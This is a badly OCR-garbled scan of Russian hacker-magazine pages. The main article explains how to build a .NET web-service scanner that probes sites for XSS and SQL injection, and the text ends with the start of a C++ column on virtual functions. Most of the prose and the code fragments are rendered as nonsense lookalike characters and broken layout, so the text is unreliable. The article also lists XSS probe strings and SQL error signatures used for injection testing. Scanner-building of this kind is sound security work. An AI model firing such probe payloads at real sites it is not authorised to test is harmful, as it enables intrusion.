C n03V1u,1t11!1 pa3pa6oT4V1Ka npou,ecc CKaHlllpOBaHIIIS1 - O,ll,HOTVlnHaS1 npou,enypa, KOTOpa51 npencrasnaer co6oiii <pOpMlo1pOBaH!t1e 3anpOCOB K LJ,eneSOMY pecypcy V1 o6pa6oTKY nony-re-u-ux pesynsraros . .o.orOBOpI!IMC):! cpasy, 4TO I!IccneAyeMbliii caar Ami Hac - 3TO HeKoTopoe nO,[l,061!1e «4epHoro $1 UJ,I!II(a», TO ecrs HaM HeVl3seCTHbi )J,eTanVl <PYHKLJ,1t10Hl!lpOBaH1II5=I era CKPVlnTOB. B 06U1,eM, see KaK B HaCT051w,eM TeCTe Ha npOHIt1KHOBeHlt1e, rne ace napa Merpu, nepenaeaexue lII(Cne,Il,yeMoMY cxpnnry, npV1XO,Il,VlT(s:! nop,6V1paTb Cfly- 4aVlHbiM o6pa30M, onapascs lIICKfl1041t!TeflbHO Ha (BOlli onsrr It! VlHrylllLJ,lt!lD. n04eMY VlMeHHO aefi-cepanc? JJ,a XOTs:! 6bl nOTOMY, 4TO 8 py-rere HeT aHaIlorll14HbiX nplt1flO>KeHVlVl «[rio KpaVlHe~ Mepe, Ha MOMeHT c,o,a4V1 cran.n

- Ha4aIlO anpena - npll1M. pen.l». A 3TO 3Ha4VlT, 4TO ,n,aHHas:l HII1Wa 6Y,[l,8T V1HTepecHa KaK pa3pa6oT4V1KaM, TaK 1II nonb30SaTeJ151M, nOCKOJ1bKY rene os 111M He npl!I,QeTC51 YCTaHasnMBaTb rpeboaarensuae K pecypcav VI ,Il,OpOrV1e npop,yKTbl, 4T06bl npocxauwpoaars CBOIO )J,OMaWHIOIO CTpaHlIIYKY c LJ,eJ1blD

XAKEP 06 /137/10

P,oje<:tl:yp'"

Tompl.t..:

I.NETFr.mework35 .11l:TIl~

h; i++)

<olc""""",":::",=.,=",=t;o=" =======,·1 ~C",oted;re<l<>tyfor,olutl<>n

NewProje<:t

~ASP~~ee!!~1

WASP,~JET AJA)(S~,v ... (ontroIW.nd .. ~WCF$.rv;nApplic,ticn

Othe,L.ngu.g .. Oth., P,oject Type< T~,tP,cj.ct,

I!is~.1 $t~dio ;n,t.llw t.mpl.t~$ 1}t.ASP,NETW.bApplicd~on ~ASP.NnAJAXs.rv~,Cont",1 /iIDASP.NETS,,,·e,Contrel MyT.m~I't~'

,:r!S •• rchOnliooT.mpl.t.,,,.

----.~

A p,ejoct fer e, .. 6ng XML l'I.b,.,,·;ce< (.NET Fromework3-S)

D:\O.ily\Prej.ct,

Wl'lPOKHH Ha60p HHCTpYMeHTOB AMI C03AaHl'lfI Be6-npHJ10>KeHHH

nOflYLH1Tb XOHl 6bl nplt16m13v1TeflbHoe npencraaneane 0 ee 3aw,!:1UJ,eHHOCTV1. Ilpyrve npW-lV1Hbl MO>KeWb npV1,lJ,yMaTb caM, S1 noxa nepeiilgy K TeOpeTV1'-leCKOiil 4acTV1, a 3aTeM HenOCpe,lJ,CTBeHHO K KO,lJ,V1Hry

" B nEPBblH ,llEHb C03,llAJ1 OH ...

KaK s:I Y>Ke OTMe4an, Hawa paapaoorxa 6Y,lJ,eT npencrasnars cobof Be6-cepB!:1c. nonpo6yeM gaTb tionee T04Hoe onpeneIleHV1e. Web-service - npV1flO>KeHV1e, «oropoe. l)l!1cnoflHS1eTcs:J Ha Be6-cepaepe;

21 O>K~AaeT nccrynne+urs HTTP-3anpocoB ~ npenocraenser ae6-MeTO,lJ,bl ,[\JlS1 V1X o6pa6oTKV1;

3] HenO~pe,lJ,CTaeHHO V1CnOIlHs:leT Be6-MeToAbl lt1 B03BpaUJ,aeT pesynsraru.

Y V1CTOKOS ,lJ,aHHOw TeXHOIlorV1V1 CTOV1T Microsoft, «cropas peannaoaana ee B paukax Microsoft .NET. KCTaTV1, V1MeHHO aefi-cepancu s:lBfls:JfOTCs:I OCHOBHOiil np!:1'-lV1HOiil cyurecraoaaH!:1~ .NET Framework: V1X 3a,lJ,a'-la - MaKCV1MaflbHO ynpocrurs paaoaborxy se6-cepsepoB V1 Be6-KJlV1eHTOB. 3a npl!lMepaMV1 naneko XO,lJ,!:1Tb He Ha,lJ,O - B npe,lJ,bl,lJ,y~eM HOMepe >Kyp-

Hafla Mbl paccnorpenn. KaK c nOMOUJ,bfO TeXHOJlOrVlVl .NET Remoting MO>KHO 6blCTPO C03,lJ,aTb cere pacr.penene-n-ux BbIYV1CfleHV1iil. V1 ace xe se6-CepBI!1Cbl - He c06cT8eHHoCTb MS. OHV1 S18ns:JfOTCs=l npOMblwneHHblM CTaH,lJ,apTOM Ha OCHOBe OTKpblTblX npoToKOnoB HTTP " SOAP (Simple Object Access ProtocoL). V1MeHHo n03ToMY !:1X MO.>KHO nncars S Jlf060M TeKCTOBOM pe,lJ,aKTOpe, O,lJ,HaKO .NET Framework - HeCOMHeHHO, ny'-lw\I1w aapaa-rr. KOTOPblV! 3Ha'-l!:1TenbHO ynpouiaer npou,ecc KO,lJ,!:1Hra. KCTaTV1, KO,D,V1Tb Mbl 6Y,D,eM Ha s:J3blKe C#, HO HV14TO He MewaeT rebe nV1caTb npV1flO.>KeH\I1e Ha nf060M npyrov ~3bIKe, nOA,lJ,ep>KV1BaeMbIM ASP,NET - TeXHOJlorV1elll C03,lJ,aHW" Be6-np"nO>KeH"ii OT lv1aiiKpocOCPT B paMKax nnaTcpopMbl NET. C ~HcTpYMeHTaM" paaofipanacs, Tenepb nepeiiAeM K npoeKTVlpOSaHl!1fO JlOrIl1KV1 npV1nO.>KeHI!1s:J.

X04Y cpaay CKa3aTb, YTO npou,ecc C03,lJ,aHIt1s:J OHnav,H-cKaHepa 6YAeT paccucrpeu Ha npV1Mepe Ys:J3Blt1MOCTeiil knacca «CrossSite Scripting» [TaK>Ke V13BeCTHoro KaK XSSl. TaK KaK Ha V1X nOV1CKe OCHOBaHbl MeTO,lJ,bl 06HapY>KeHV1s:J V1 npyrux 6aroB lc TO'-lI(V1 3peHVls:I cxauepa KaK aBToMaTV13V1poBaHHoro V1HCTpyMeHTa). Te6e, KaK nporpaMMVlCTY, HY>KHO 6Y,lJ,eT HaY4V1Tb npuIlO>KeHV1e nepe,lJ,aBaTb cneunans+use ,lJ,aHHble V1 o6pa6aTbisaTb nOflY'-leHHble pesyr sraru YKa3aHHbiM T06001 cnocofiou. MoS1 >Ke 3aAa4a - npOAeMOHCTplt1pOSaTb rebe KOHLJ,enryaflbHble

XAKEP 06 /137/ 10

oco6eHHOCTV1 npOrpaMMlt1pOSaHV1S'i Be6-cepSVlCOB, Hy VI 3a,.o,aTb HanpaSIleHVle ,lJ,anbHeiilwero pa38V1TV1s:1 npVlnO>KeHV1S1 V1 no,.o,enV1TbCs:J CSOV1MV1 V1Aes:lMV1. Ho 060 seeM no nopsnxy. PaccMoTpV1M norV1KY paboru cxa-repa.

1. Ilepexon no ccunxe Ha uenescti cajir:

2. C60p scex cKpVlnTos Ha uenesov cairre:

3. OnpeAeIleHV1e acex naoai-rerpo s, npV1Ha,lJ,Jle>Kaw,l!1x KOHKpeTHoMY cxpwnry:

4. Ilepena-ra co6paHHbiM napaMeTpaM cneunar susrx 3Ha'-leHV!~, xapaxrepaux ,lJ,flS1 ,lJ,aHHoro BV1,lJ,a Ys=l38V1MocTew;

5. AHaIlV13 nony-reuuoro pesynsrara lnpouacurno flV1 BHe,lJ,peHV!e HawV1X nepe,lJ,aHHblx 3Ha'-leHV1v, S KO,lJ, CTpaHV1LJ,bll.

KaK BV1,lJ,V1Wb, npV16JlVl3V1TeflbHbliii aflropV1TM CPYHKLl,V10HV1pOaaHlt111 nplt1flO>KeHVls=l ,lJ,OBOflbHO npocr, O,lJ,HaKO He CTOlt1T cnewVlTb C BbIBO,lJ,aMVI: y «axnoro V13 BbIWenepe'-lV1CJleHHbIX nYHKTOB ecn, C801l1 nO,lJ,BOAHble KaMHII1, yaClb 1113 KOTOPblX HaM npV1,lJ,eTcs npeononeaar s BMeCTe, a yaCTb s:J ocraamo refie B «a-iecree ,lJ,OMawHero 3a,lJ,aHIt1s:J

HAnHWH npOrPAMMY MblWKOH

C03,lJ,aeTCs:J er e-rarnenae. '-lTD eCJlIl1 MaiiiKpOCOCPT npOAOn>KV1T pa3BV1saTb CSOIl1 rex-rcncru.i. SXO,lJ,s=lUJ,!:1e B KOMnneKT .NET Framework" cpeny nporpaMM~pOBaH~" Visual Studio, TO npou,ecc C03,lJ,aHV1s:J nporpa-r-n+oro 06eCne'-leHV1S'i 6Y,lJ,eT ,lJ,OCTyneH ,lJ,flS1 WV1POKlt1X Macc, YMelOw,V1X cobnpars KOHCTPYKTOPbl 111 Bna,D,elOUJ,l!1X TOJlbKO MbIWKOilt.

Flpn c03AaH~" npcekra "ASP.NET Web Service Application» CTY,lJ,II151 aSTOMaTV14eCKV1 cpopMV1pyeT crpyrryoy «aranoros. xapaKTepHyfO ,lJ,fls:l npV1flO>KeHV1S'i na-n+oro TV1na, a raxxe C03- naer ace Heo6xDAV1Mble cpa iIIn bl ,lJ,fls:l ero «oppekruoro CPYHKL.J,1:10H!:1pOBaHV151, 06bl4HO crpykrypa npoexra conepxar B ce6e cpaillflbl on-icro V1flV1 HeCKOJlbKV1X TV1nOB:

1. ASPX-cpai1nbl, conepxauu.e web-cpopMbl;

2. ASMX-cpai1nbl, «cropue, c06cTBeHHo, " peannsyior webcepBV1cbl;

3. ¢ai1J1bJ Web.config, S KOTOPblX onV1CbIBaIOTCS'i napauerpu KOHcp"rypal1"~;

4. <jlai1n Global.asax, KOTOPblii cOAep>K"T rno6anbHbie 3neMeHTbl npV1IlO>KeHV1S'i;

5. pa3nH4Hbie DLL, BKnlOyalOll\"e B ce6" cnel1wcp~4Hble An" npl-1JlO>KeHV1S'i runu

CDawfl ICholeScaner.asmx, HaXO,lJ,s:lUJ,V1C1cS1 B npoekre [V1W,V1 ero Ha HaweM ,lJ,V1CKel. ,lJ,eMOHCTpl!1pyeT HeCKOJ1bKO Ba>KHbIX npnu-

Ha A"CKe Te6" >KAYT V1CXO,lJ,Hble KO,o,bl KOHLl,enTyaJlbHOrO cl<auepa S BV1Ae nposkra An" lv1icrosoft Visual Studio 2008.

~ links

• Iorurn.a-itichat.ru/ Ihread2014QlllinlnOJle3Hbliil MaTepl!1an no XSS-YS'i3BV1MOCTS'iM. Cnocobu "X 06Hapy>KeHV1s:1 V1 sxcnnyaraW~"

• vyww.w3.olSJilBi sQilP/- On"CaH"e cnew~cp"Kaw"" npoTOKOIla SOAP. none3Ho 3HaTb, ecnl!1 cofinpaeuiscs C03,lJ,aSaTb npuJlO>KeHV1S'i,3KcnflyaTV1pylOw,V1e MeTO,lJ,bl recero aefi-cepanca.

• defec.ru - MOt:1 pecypc, rue Tbl MO>KeWb 3aAaTb aonpoc sr. nop,eflIl1TbC51 V1Aes:JMVI,

a TaK>Ke noyYaCTBOBaTb B paspafiorke pa3Jl!:1'-lHbIX npwnccseHII1H V1 npoe croa.

~ 101

. • •

. .

Service Requester

Service Provider

CxeMa pa60Tbl Be6-cepBI1Ca

U.V1nOB npOipaMMV1pOS8HVls:J se6-CepSV1COB c nOMOUJ,bKl .NET Framework BOT YTO B HeM COp,ep>KIIITG1:

COAep>K~MOe ASMX-cj>aiina

@ WebService Language="C#"

CodeBehind=" -~/ App_Code/ICholeScaner. cs tI Class="ICholeScaner"

%>

,.D.l!lpeKTVl.S8 raWebService CO,[lep>KV1T 06s:J38renbHblYi aTpV16YT Class, 38,[1aKJUJ,Vlc:i KJlaCC, Vl3 KOToporo COCTQi,1T eeb-cepaac, It1 arpnbyr Code Behind, KOTOPblW cO,lJ,ep>KI!IT onVlC8HV1e se6-MeToAoB KJl8Cca.

Be6-MeTO,IJ,bl o6MlsmHoTc51 B cpaiilne ICholeScaner.cs nyreM H83H8yeHltls:J OTKpblTblM MeTOAaM «nacca "ICholeScaner" aTp"6YTa IWebMethodl. TaK"M o6pa30M .NET Framework aSTOMaTI!1LfeCKI!I ,lJ,enaeT 3TOT MeTO,D, ,D,ocrynHblM Ans:! BHeWHI!IX BbI30BOB.

[WebMethod]

public string startScan(string domen)

/1 MHCTPYK~ MeTo~a

B 3TOM OTpa>KaeTCI1 BC~ cyrs sefi-cepaaca - npenocrasnrs CPYHKLl,VlOHaJl CBOVlX MeTO,f\OS [TO ecn-, npenccraanrs «cepeuc»] ,f\fll1 06pa6oTKVl ,f\aHHbIX, nOCTynafOUJ,VlX OT KJlVleHTa, KOTOPblili MO>KeT I1Sfll1TbCI1 KaK 06bl'-lHblM nonsaonarenev, nepenaioumv VlHcpopMa~VlfO yepe3 KaKVle-JlVl60 nons BSO)J,a, TaK VI nporpaMMOC1 [caW-OM)' npe,D.OCTaSJls:1KJUJ,V1M caoVl ,f\aHHble B 2STOMaTWyeCKOM pe>KWMe cpeACTBaM" HTTP W SOAP SOAP - 3TO XML-"3bIK Am Bbl30sa Y)J,afleHHblx npouenyo no HTTP Vl )J,pyrVlM npOTOKOJlaM.

Haw aefi-cepsnc npenocraanae r MeTO,f\ StartScan, KOTOPbliil npVlHVlMaeT e,.o,VlHcTseHHblili CTPOKOBOili napavero - ,f\OMeHHOe VlMs=I uenesoro [aVlTa,

- V1 VlHV1~Vlafll,13V1pyeT npouenypy CKaHV1pOBaHV1s:1. ECJlV1 URL cepauca. HanpV1Mep, www.site.com/icholescaner.asmx. TO KJlIIleHT MO>KeT Bbl3saTb MeToA StartScan, nepecr as SOAP-KoHBepT B HTTP-3anpoce. 3aA3ya Be6- cepsV1ca S 3TOM cny-rae:

1. Pa306paTb SOAP-KoHsepT, cO)J,ep>Kali.\VlVl SXOAHble AaHHble;

2. BblnOJlHI!1Tb cKaHV1posaHV1e;

3, Cre-repnpoaan, SOAP-KoHsepT, cO,f\ep>Kali.\l!1i11 peaynsrar: 4. B03SpaTI!1Tb ero KJlVleHTY B rer.e HTTP-oTKJlVlKa

~ 102

-

Taxxe napar-repu CKaHlI1pOaaHV1S1 MO>KHO 3a,D,aSaTb C nOMOli.\bKJ 06blYHbiX HTTP-KoMaHA GET" POST, HanpwMep,

GET licholescaner.asmx/StartScan?domen=~vw.enemysite. com HTTP/l.l

Host: www.site.com

[locne roro, KaK Mbl paCCMOTpe.nV1 oc06eHHOCTI!1 C03)J,aHII1s:1 V1 CPYHKU,V10HII1- pOSaHII1s=1 se6-cepsVlcos 111 VlX npVlH~VlnVlanbHoe OTJlW-JV1e OT 05blYHbiX se6- npIl1JlO>KeHII1V1 [KOTopble ¢YHKU,~10HVlpyfOT s 3aKpblTOM pe>KI!1Me, He npenoCTasns=ls=l HII1KOMY CSOIl1 MeTO,Qbli, Tbl Y>Ke MO>KeWb HaYV1HaTb nucate caoVl cepSII1C, auanoros KOTOPOMY H2T B OHJlaVlH-npVlJlO>KeHII1s:1X, HO nOJlHbIMnOJlHO Ha nOJlb30BaTenbCKV1X KOMnbKJTepax. O,D,HaKO s:1 HaCTosnellbHO peKOMeH,QYfO He OCTaHaBnV1BaTbCs=I Ha ncr.y-re-mux 3HaHVls:1X, a nepeVlTV1 K cnenyouteuy srany, Ha I<OTOPOM Mbl CMO>KeM pearuacears npcuecc 06HapY>KeHW" XSS-Y"3B"MOcTeGi .

.lI.A Y BAC }f{YIH1. 6ATEHbHA!

Ys=l3BlttMOCTII1 KJlaCCa «Me>KCaViTOBbIVi CKplI1nTV1Hr», KaK V13secTHo, QBJls=lfOTCs=I Cne,D,CTSV1eM HenpaBVlJlbHOW pa60Tbi cj)l!lJlbTpa, npV1HV1MalDli.\erO BXO,QHble ,f\aHHble OT nOJlb30SaTemL TaKII1M 05pa30M, xaeep MO>KeT BCTaBVlTb S V1CXO,D,HbIW KO,D, CTpaHII1~bl CBOVl Ha50p CV1MBOJlOB [B nO,D,aBllQfOUJ,eM 60JlbWWHCTBe cny-raes 3TO JavaScript-KO,Q), KOTOPblVi anOCJlep,CTBV1111 MO>KeT CKOMnpOMeTV1pOBaTb llerV1TVlMHoro ncru.so sarena. orkpusurero CTpaHV1L\Y Pa3nW-Ia1OT nsa norrrwna XSS-Y713B!I1MOCTef1: aKTV1BHble V1 naCCV1BHble. B ,QByX cncsax: nepss:e SCTpall1BalDTCI1 Henocpe,QCTseHHO B KO,Q CTpaHV1Wbl,

III nor saceareruo nocraro-n-c ee OTKPbITb, a sropue rpebyior aKTWBHOCTIIl co CTOPOHbl KOMnpoMeTlo1pyeMoro [HanpV1Mep, nepexcn no cneunaru.uo CCPOpMV1pOBaHI-IOVI CCbIJlKel. 3a nO,f\p06HOCTs:1MVl arax sroro runa s:1 OTnpasrue Te6s:1 . HeT, He K ryrJlY, a K CHOCKaM 8 3TOW cran-e, rrie c06paH cnV1COK nonesuux pecypcos: npII13BaHHbix o60raTVlTb Te6q V1HcpopMa~lIlew no ,n,aHHOMY aoripocy AJlq nporpanuucra pa3JlV1YVls=I B Ys=l3SV1MOCTs=lX cepSIo1C3 He nrpaior HVlKal<OM pon 111 , BeAb T3K I:111Vl I:1H3ye OHVl s=lB.ns=lKJTCs=I CJle,lJ,CTSV1eM HeKoppeKTHOW CPV111bTp3~VlVl, n03TOMY He 5Y,QeM nansu,e 3aOCTpl1Tb BHV1- MaHlI1e Ha OnViCaHI:1Vl baros. a nepeVl,QeM Henocpep,CTBeHHO K II1X ofn-apy>KeHV1fO Cpe,f\CTBaMII1 OHflaVlH-CKaHepa. )J,JlQ Haya1l3 HaM Hy.>KHO COCTaBVlTb Cnll1COK BceB03MO>KHbIX CKPVlnTOB, VlMelDli.\II1XCs=I H3 II1CCne,D,yeMoM pecypce. KaK 3TO C,D,eJlaTb, - 0,f\H03Ha4Horo OTBeTa nars He CMOry, TaK K3K nO,QXD,lJ,bl K 3TOiii 3a,ll,aYe y Ka>K,D,OrO CBOV1, 111 CKOPOCTb ee Bblno.nHeHII1s:1 MO>KeT 3aMeTHO OTJlIl14aTbCs:1. C APYroVi CTOPOHbl, 3ayeM HaM fllt1WHl:1e aafioru? nYCTb

nor esoaarer s caM YKa>KeT TOT cxpnrrr. KOTOPblW XD4eT npoaepnrs

noc.ne roro, KaK Y Hac nOs=lSVlJlcs:! URL-aApec CKpV1nTa, HaM He06xo,f\V1MO nOJlY4V1Tb reHepV1pyeMblVi 111M II1CXO,D,HbIVi KO,D, CTpaHV1~bl V1 3anV1caTb era B KaKYfO-HI!16Y,D,b nepeMeHHYfO ,D,ns:! nocnenyiouiero aHaflll13a. ,QeJlaeTCs=I 3TO npOCTO:

nonY'-IeHMe HTML-KoAa CTpaHVlLI,bl

/ /rpopMMpOBaHMe aanpoca K cxpnrrry ltJebRequest request = TNebRequest.Create(Url+"?"+Parametrs) i l/rrorry~eHMe OTBeTa

WebResponse response = request.GetResponse(); 1/3arrwcb nony~eHHoro OTBeTa B CTPOKOBYD nepeMeHHYD StreamReader reader ::: new

StreamReader(response.GetResponseStream()) ; Content = reader.ReadToEnd();

reader.Close() ;

VlMes=l Ha PYKax VlCXO,D,HbIVi KO,D, crpaaauu. HY>KHO onpenemrrs KOnl-"14eCTBO napaMeTpos, npVlHVlMaeMblx cKpV1nToM, YT06bl nposepurs <oppekruocrs It1X cpll1nbTpawV1V1. C,ll,enaTb 3TO .MO>KHO ,QSYMs=I cnocobaun: onpener urs

Ha crpaanue Bce ¢OPMbl ,lJ,Jls=l BBO,lJ,a KaKII1X-nI-"160 AaHHbix II1nV1 xe nponapcurs nonyyeHHblGi HTML-KOA Ha Han"Y"e CTPOK BWAa "/smpt php?a=abcd&b=1234", rue script.php - "MR uccnenvevoro cxpnrrra. 80 BTOPOM cr-y-rae y Hac B pacnOps=l>KeHII1I11 6Y,QeT HaxogwTbCs:l BCs:1 MOli.\b peryr spuux Bblpa>KeHWVI

XAKEP 06 /137/10

Flocne TOrO, KaK napauepu CKpV1nTa C06paHbi V1 acxyparuo nOMew,eHbl

B MaCCI!1B, uacrynae r caMblVi l-1HTepeCHblC1 MOMeHl - nO,lJ,CTaHOBKa «s:I,lJ,OBWTbIX» 3anpOCOB W aHanV13 nonyyeHHblX OTBeTOB. nog «s:I,lJ,OBV1TbIMV1» 3anpocaMV1 nOHVlMaeTCs:I TaKOe 3HayeHVle, nepenasaevoe napaverpy, «oropoe Bbl30BeT BblnOJlHeHVle 3annaHVlpOBaHHoro HaMV1 )J,eVlCTBV151, HanplIIMep, BHe,.o,peHV1e B VlCXO,.o,HblVi KOp, CTpaHV1L1,bl Hawero rera JavaScript-Ko,.o,a V1 T.n. KonneKL\V151 TaKV1X «51)J,OBV1TbIX» crpox cobpaua B MaCCV1Be XSSrequest. BOT HeCKOnbKO 3neMeHTOB 3TOl"0 MaCCVlBa:

string[] XSSrequest =

{ "<script>alert()</script>",

"<IMG SRC= \ "j avascript : alert ( ) i \ ">" ,

"<IMG SRC=javascript:alert(&quotiXSS&quot;»",

nOOyepep,HO noncraanas VlX B Ka>KAbIVi V13 cofipai-uux napauerpos. Heo6- XOAV1MO aHanV13VlpoBaTb OTBeT Ha HanV14V1e auenpe+n+oro JavaScript-KOAa.

,LJ,pyrV1MV1 CnOBaMIt1, Hy>KHO Ka>KAblt;1 pas napcwrs It1CXOAHblVi HTML-KO,D" };

nonyyeHHblVi nocr e ornpaaxu sanpoca. ua Hafll!1l-lV1e VlCKOMOVI nOCJleAOBa-

TeflbHOCTV1 CVlMBOJlOB.

npo Sal -INJ, PHP-INC H np04YIO HE4HCTb

PacnpOCTpaHeHHble Ys:l3BVlMOCTW npOYV1X KJl3CCOB XOTb V1 V1MeIOT ApyryfO npupony VI cnocofiu 3KcnnyaT3L1,VlV1, HO see >Ke HaXO,D,s:lTCs:I O,D.V1HaKOBbIM, C TOYKI!1 3peHYls:I aBTOMaTV13I!1pOBaHHoro nOVlCK8, cnccofio».

PaCCMOTpV1M, uanpuuep. SOL-V1HbeKL\WIII - Ys:l3BWMOCTV1, n03BOfls:lfOLll,We xaxepy V13MeHlI1Tb JlOrll1KY aanpoca ckpunra K 683e AaHHbIX. OW1t16f~lII sroro runa TaK>Ke, B nO,D,aBfls:lfOLll,eM 60flbWlt1HCTBe cny-raes. s:lBJls:lKHCs:I Cfle,IJ,CTBVleM HeKoppeKTHOVi 06pa60TKIt1 nocrynatollJ,YlX OT nOflb30B3TeJl51 AaHHbIX, a 3TO 3HaYI:1T, YTO HaM He ripunerca MeH51Tb anropwn-ru nOIl1CKa B HaweM CKaHepe. ,LJ,ocTaTOYHO C03,D.aTb MaCCViB «s:lAOBViTbIX» 3anpOCOB, xapakrepaux ,D,ml y$13BlI1MOCTe~ nOAo6Horo runa. lI1 npoaaannanpcaars peaKLI,Wf9 cxpurrra [nonyyeHHbl~ HTML-KOA + peryns:lpHble Bblpa>KeHWs:ll. BOT He60nbwolll cm1COK xapakrepuux OTBeTOB SOL-cepBepa, IOBOpS1llJ,VlX o B03MO>KHOCTH nposeAeHws:I aTaKW;

string [] SQLErrors = { "mysql_fetch", "mysql_query", "\ \ [obdc", "my aq L error", "you have an error in your sqlsyntax", "odbc drivers error", "\ \ [microsoft sql"

-

1'9:CI

~ = ~~~l -1,1------··

!

Attacker

CxeMa OCYl1leCTBneH~HI XSS-aTaKI1

Cyw,eCTBYfOT ew,e VI «cne ise» SQL-lI1HbeKLI,lI1V1, koropue B cuny cBoeVi npnponu He BHOCs:lT V13MeHeH~15i B WCXO,D,HbIVi KO,D, CTpaHWL\bl VI, K3K cne.cCTBYle, He ncnnexar 06H8pY>KeH1I110 npccruu napcuarou crpaunuu. C APYroVi CTOPOHbl, refie OTKpblBaeTCs:I WV1POKVlVI cnexrp ara«. AalOw,VlVI nOBOA An51 nOCTO$1HHOrO COBepweHCTBOBaHV15i csoer o npOAYKTa

nACMYPHO, HO 6E3 OCA,llHOB

nepCneKTlI18a pa3BVlTVI$1 06flaYHbiX TeXHOflorw~ V1 Be6-cepBVlCOB CTaHOBVlTC$1 3aMeTHa He TOflbKO KpynHblM KOMnaHVl51M VI KOHeYHblM noru.scSaTen$1M. C pa3BWTVleM TeXHOflorV1V1 C03AaHII1S1 Be6-npVlflO>KeHVlW paspa60TYltiKitl npnocperaicr B03MO>KHOCTb BOnnOTIi1Tb caMble 5lpKII1e li1,[1el-1, koropste Y>Ke ,D,aBHO peanVl30BaHbi B KaLJeCTBe CTaHA3pTHbiX [ocpcpJlawHOBbIX] npV1nO)\(eHVI~ VI BOCTpe6oBaHbi y nonb30BaTeneVi nepcouans-rux KOMnbfOTepOB. KOMY-TO Ba>KHa cpWHaHCOBaSl CTopOHa Aefla, KTO-TO roHVlTCSl 3a opwrlllHaflbHOCTbfO, a [(TO-TO npOCTO HaXO,IJ,VlTUI «ua BonHe»

III sa napy yaCOB C03,D,aeT nponycr, npl-1HOGIllJ,II1W ncnsay KaK iosepy, TaK

VI CBoeMY C03,QaTeflfO. ECfH1 TeMa OHflaWH-cepBWCOB sooouie W OHnaWHCK3Hepa Ys:l3BII1MOCTeVi B yaCTHOCTVI crana Te6e VlHTepeCHa, 111 Tbl peu.un nonpofioaars ce6R B 3TOM HanpaSJleHII1W, TO npowy He ,D.ep>KaTb B ce6e HaKonl!18WYleCQ aonpocu. a CMeno 3a,IJ,aBaTb !I1X Ml-le - p836epeMCS1 BMeCTe. 06flaLJHbiX refie npli1nO>KeHVlVl Ha pafio re VI 6e306Jla4HOVl nOrO,D,bl 80 SpeMs:l OTnYCKa!. X

npl16nl1311TenbHaSi CTaTI1CTI1Ka paCnpOCTpaHeHHOCTI1 Be6-YSl3BI1MOCTeiil

SOL IrOecool\ 9'%

CredentiaJs/Session Prediction 9%

Cron Sit. Scripting 27%

~104

IMufflCionl /lU'.horisMion 8- I>A.tthendcallon

1~1£.

XAKEP 06 /137/ 10

KOAEPCKME THnCbl H TPHKCbl

npaBMna KOAMHra Ha C++ AnH HaCTOHUJ.MX cneuna

B 3l0T PA3 Mbl OTCTynHM OT npHBbl~HOrO QlOPMATA «3-X nPABHn». Y HAC 6y.nET BCErO O.nHA, HO O~EHb HHTEPECHAH TEMA. PE~b nO~.nET 06 AnbTEPHATHBAX BHPTYAnbHblM QlYHHUHHM. AnbTEPHATHBbl

3TH 6y.nYT PEAnH30BbiBATbCH C nOMOUlblO nATTEPHOB npOEHTHPOBAHHH.

npe,o.nonmf(\I1M, YTG Mbl paficraev Hap, KaKOVJHV16Y)J,b BII1,D,eOV1rpoiii VI npoexrapyeu nepapxuto I-1rpOBblX nepccuaxeji. npaKTI!14eCKII1 BO acex urpax Ha,lJ,O C KeM-TO cpaxare.ca 1!1 KorO-TO y6111- ears, i+auia urpyurka TO>Ke He uc cruo-reu ae. Bee nepCOHa>K1I1 MoryT nonaeprarscs paHeHltHiM

II1n 111 K31(-TO 111 Halle Tep51Tb >KlI13HeHHble ClI1nbl. n03TOMY Mbl peuiaeu 8KJ11041Hb B 6a30BblVJ knacc "epapx"" nepCOHa)l(ef1 ¢YHKL1"1O-4neH healthValue, KOTOpa" aoaapauiaer ueno-mcneHHoe 3Ha4eHIIle, nOKa3blsalOw,ee, CKOJ1bKO <<)KV13H \11» OCTanOCb y nepcouaxa. nOCKOJlbKY paa-iue nepCOHa>K\I1 MoryT BblY\I1Cmnb CSOK) >K1I13Hb no-pa3HOMY, TO B ronosy cpasy npnXaA"T Mblcnb a6b"B"Tb ¢YHK~"IO healthValue B"pTyanbHaf1:

CIlYHK4"" healthYalue class GameCharacter public:

~106

/; B03Bpa.l1\aeT IKlo13HeHHylO c any rrepcoHalKa

/ / B rrpOJlI3BO)J,HblX xnaccax MO}KHO nepeonpenemer-s,

virtual int healthValue ()

const;

i.

TOT cpaKT, YTO Mbl He 06b~B~n~ ¢YHKU.~K> healthValue KaK 4"CTa B"pTyanbHYIO, oaaa-raer. I.1TO nnennonaraerca HeKOTopaS1 ee pean~3aLJ,V1~ no yMOJl4aH~1O

3TOT nonxcn HaCTOJlbKO 04eBII1p,eH, 4TO cpasy npV1.o.eT B rOJlOBY npaKT~yeCKlt1 Jl1060MY nporpaMMIIICTy. Ho 3Ta 04eB~p,HOCTb B HeKoTopo(;1 CTeneHlt1 MewaeT HaM BHI;1MaTeJlbHee pacCMOTpeTb aaria-ry lt1 rtouckar s bonee y,o,a4Hbl(;1 cnoco6 peanuaauna Hawe(;1l;1epapXIIIlt1 KJlaCCOB.

~ilI~a~~HHbIH MeTOA» H HAHOMa H~BJ:1~TyanbHOrO HHTepqJeHCa

Ha4HeM C IIIHTepecHot;1 KOHLJ,enLJ,V1~. COrJlaCHO KO-OPO(;1 BlIlpTyaJlbHble ¢YHKU,~1Il nOI.1Tlt1 acerna AomKHbI6bITb3aKpbITbIMlt1. CTOPOHHV1KV13T0(;1 KOHLJ,en LJ,lt1lt1 npennaraior OCTaBIt1Tb ¢YHKLJ,1t11G healthValue OTKpbITOili. HO cne nar s ee He Blt1PTyanbHoli! ~ 3aCTaB~Tb aaxpsrryio Blt1pTyanbHYIO ¢YHK~"IO, Hanp"Mep daHealthValue, xoropas ~ BblnOJlHVlT peansayio pa60TY.

VlAHOMa He B"'pTyaJ1bHOrO ~HTep4>eVlca

class GameCharacter

~ublic:

int healthValue () const

XAKEP 06/131/10

II BEJnOJIHMTb npe,lJ,SapI1TerrbHh!e ,lJ,eiltcTBt-'I5I

Ln t retVal = doHealthValue () i

1/ BblTIOJIHJ.1Tb ae aepuraourae )J.ei1cTBJ171

private:

/ / anroplIlTM no YM01FJaHMKl

II rrpOM3BO,JJ;HEJe KnaCCbI MorYT nepeorrpene.nu'r-e virtual int doHealthValue () const

i.

